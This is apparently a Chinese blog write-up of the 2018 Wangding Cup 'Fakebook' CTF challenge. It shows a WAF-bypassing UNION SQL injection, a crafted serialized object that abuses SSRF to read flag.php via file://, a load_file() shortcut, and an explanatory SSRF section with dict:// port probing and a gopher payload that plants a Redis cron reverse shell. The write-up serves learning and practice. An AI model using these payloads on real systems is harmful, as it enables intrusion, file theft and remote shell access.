[网鼎杯 2018]Fakebook学习笔记(SSRF,sql注入)

刚进去让你注册一个账号
在这里插入图片描述
注册后点进去,注意url很可能是sql注入
在这里插入图片描述
除此之外再无信息。使用dirsearch扫描到robots.txt,不过wp说还能扫到flag.php,反正我是没扫出来,然后访问robots.txt,发现存在/user.php.bak。下载下来打开:

<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)   //构建函数
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();    // curl_init(url)函数,初始化一个新的会话,返回一个cURL句柄

        curl_setopt($ch, CURLOPT_URL, $url);   // curl_setopt设置 cURL 传输选项,为 cURL 会话句柄设置选项
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);    // curl_exec — 执行 cURL 会话,返回访问结果
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);     // curl_getinfo — 获取一个cURL连接资源句柄的信息,获取最后一次传输的相关信息。返回状态码。
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

curl_init(url)函数,初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。参数url如果提供了该参数,CURLOPT_URL 选项将会被设置成这个值。

curl_setopt ( resource $ch , int $option , mixed $value ) 设置 cURL 传输选项,为 cURL 会话句柄设置选项。参数:
ch:由 curl_init() 返回的 cURL 句柄。
option:需要设置的CURLOPT_XXX选项。(CURLOPT_URL:需要获取的 URL 地址,也可以在curl_init() 初始化会话的时候。使用 CURLOPT_RETURNTRANSFER 后总是会返回原生的(Raw)内容。)
value:将设置在option选项上的值。

curl_getinfo — 获取一个cURL连接资源句柄的信息,获取最后一次传输的相关信息。

经过分析可得:
1,注册界面输入的blog经过了isValidBlog()函数的过滤,不然直接在注册界面blog处输入file:///var/www/html/flag.php就能拿到flag。

2,get()函数存在ssrf漏洞。

显然存在ssrf漏洞,并且拼接入我们的url就是我们注册的时候输入的url,但是显然是有waf的,所以我们就不能够直接利用。。没有WAF直接在注册界面输入file:///var/www/html/flag.php就能拿到我们想要的flag。所以,我们的思路是,把flag的路径赋给blog,经过一系列操作最后会返回flag.php的内容。
我们先尝试注入:
order by 5时报错,可以判断字段数为4。

view.php?no=1 order by 4--+

在这里插入图片描述
输入union select 1,2,3,4提示no hack

view.php?no=1 union select 1,2,3,4--+

于是尝试绕过waf,改为union/**/select后成功绕过,是过滤的空格,并发现注入点为2

view.php?no=0 union/**/select 1,2,3,4--+     (1的话不行,不知道为什么)

在这里插入图片描述
爆数据库为:fakebook。

http://2f653644-f372-48c1-a0f9-7938cd6adf27.node3.buuoj.cn/view.php?no=0 union/**/select 1,database(),3,4--+

爆表为:users。

http://2f653644-f372-48c1-a0f9-7938cd6adf27.node3.buuoj.cn/view.php?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+

爆列名为:no,username,passwd,data

http://2f653644-f372-48c1-a0f9-7938cd6adf27.node3.buuoj.cn/view.php?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'--+

在这里插入图片描述
爆出数据:

view.php?no=0 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users--+

在这里插入图片描述
数据为:

xxxxxxxx090@qq.com98230901037b26742494b4dcb94eb1333de7ddea1aedfb0a131b562d2be9d03123cbbcb7285008d47b94241b627586596c9aa1161dfa1aee66450cf62c8bbff9O:8:"UserInfo":3:{s:4:"name";s:16:"xxxx0090@qq.com";s:3:"age";i:18;s:4:"blog";s:32:"https://xxxxxxous-1.github.io/";}

得到了自己刚刚注册信息的序列化值。结合之前网页源码,判断是要传参(getBlogContents)以后网站反序列化,返回flag的值。

利用ssrf漏洞

可以看到data中存的是反序列化数据,然后尝试利用ssrf漏洞读取flag.php。于是构造序列化的内容,里面要读取文件得使用file协议,基本的格式如: file:///文件路径
构造payload为:

http://2f653644-f372-48c1-a0f9-7938cd6adf27.node3.buuoj.cn/view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看源码,访问链接或者直接解密链接中的base64得到flag。
在这里插入图片描述
在这里插入图片描述
非预期解
因为没有禁用load_file()函数,所以可以直接利用该函数拿到flag。哈哈,看到这个非预期解还是有点懵的,绕了半天结果简单一步就出来了
payload:

/view.php?no=0 union/**/select 1,load_file('/var/www/html/flag.php'),3,4

源码中找到flag:
在这里插入图片描述

知识点:SSRF

SSRF (Server-side Request Forge, 服务端请求伪造)

是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。

漏洞产生原因

由于服务端提供了从其他服务器应用获取数据的功能且没有对 地址 和 协议 等做过滤和限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。举个栗子,漏洞代码ssrf.php:

<?php
// 漏洞代码ssrf.php
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $_GET['url']); 
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0); 
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); 
curl_close($ch); 
?>

首先curl查看版本以及支持的协议

root@localhost :curl -V
curl 7.54.0 (x86_64-apple-darwin17.0) libcurl/7.54.0 LibreSSL/2.0.20 zlib/1.2.11 nghttp2/1.24.0

Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp

Features: AsynchDNS IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz HTTP2 UnixSockets HTTPS-proxy

可以看到该版本支持很多协议,其中dict协议、gopher协议、http/s协议以及file协议使用较为广泛

①:dict协议探测端口

curl -v 'http://a.com/ssrf.php?url=dict://172.0.0.1:22/info'
curl -v 'http://a.com/ssrf.php?url=dict://127.0.0.1:6379/info'

②:利用gopher协议访问redis反弹shell

curl -v 'http://a.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'`
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值